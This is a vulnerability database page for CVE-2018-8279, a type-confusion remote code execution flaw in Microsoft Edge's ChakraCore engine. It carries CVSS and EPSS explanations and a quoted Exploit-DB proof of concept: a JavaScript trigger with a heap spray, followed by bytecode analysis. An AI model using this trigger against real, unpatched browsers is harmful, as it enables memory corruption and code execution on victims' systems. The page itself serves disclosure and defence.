CVE-2018-8279 : Detail

CVE-2018-8279

7.5
/
High
88.93%V3
Network
2018-07-10
22h00 +00:00
2018-08-19
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory, aka "Microsoft Edge Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8125, CVE-2018-8262, CVE-2018-8274, CVE-2018-8275, CVE-2018-8301.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45214

Publication date : 2018-08-16 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

// PoC: async function trigger(a = class b { [await 1]() { } }) { } let spray = []; for (let i = 0; i < 100000; i++) { spray.push(parseFloat.bind(1, 0x1234, 0x1234, 0x1234, 0x1234)); } trigger(); /* The PoC is invalid JavaScript, but Chakra does parse it without any exception and generates incorrect bytecode from that. Here's the generated bytecode. Function trigger ( (#1.1), #2) (In0, In1) (size: 36 [34]) 18 locals (8 temps from R10), 5 inline cache Constant Table: ======== ===== R1 LdRoot R2 LdC_A_I4 int:1 R3 Ld_A (undefined) R4 LdFalse Implicit Arg Ins: ======== === === R5 ArgIn_A In1 0000 InitUndecl R6 0002 TryCatch x:004c ( 71) Line 1: a = class b { Col 24: ^ 0005 BrSrNeq_A x:0048 ( 62) R5 R3 000a NewScFunc R13 = b() 000d InitClass R13 0012 ProfiledLdFld R14 = R13.prototype #0 <0> 0016 SetHomeObj R13 R14 001b NewScObjectSimple R9 001d ProfiledStFld R9.value = R2 #1 <1> 0021 ProfiledStFld R9.done = R4 #2 <2> 0025 Yield R9 R9 <<----------------------------------------------- 0028 ResumeYield R15 R9 002b NewScFunc R16 = b.prototype[]() 002e SetComputedNameVar R16 R15 0033 ProfiledLdFld R14 = R13.prototype #0 <0> 0037 InitClassMemberComputedName R14[R15] = R16 003d SetHomeObj R16 R14 0042 InitConst R6 R13 0045 Ld_A R5 R13 0048 Leave 0049 Br x:0074 ( 40) 004c Catch R10 004e Nop 004f ProfiledLdRootFld R11 = root.Promise #4 <4> 0055 ProfiledLdMethodFld R12 = R11.reject #3 <3> 0059 StartCall ArgCount: 2 005c ArgOut_A Out0 = R11 005f ArgOut_A Out1 = R10 0062 ProfiledCallIWithICIndex R12 = R12(ArgCount: 2) <3> <0> 006c Ld_A R0 R12 006f Leave 0070 Br x:0076 ( 3) 0073 Leave 0074 LdUndef R0 Line 5: } Col 1: ^ 0076 Ret Yield operations shoud not be performed under a try-catch block, but incorrectly generated bytecode allowed it at (a). This will lead to type confusion in the InterpreterStackFrame::OP_ResumeYield method. */

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version -

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Configuraton 0

Microsoft>>Chakracore >> Version To (including) 1.10.0

References

http://www.securitytracker.com/id/1041256
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104641
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45214/
Tags : exploit, x_refsource_EXPLOIT-DB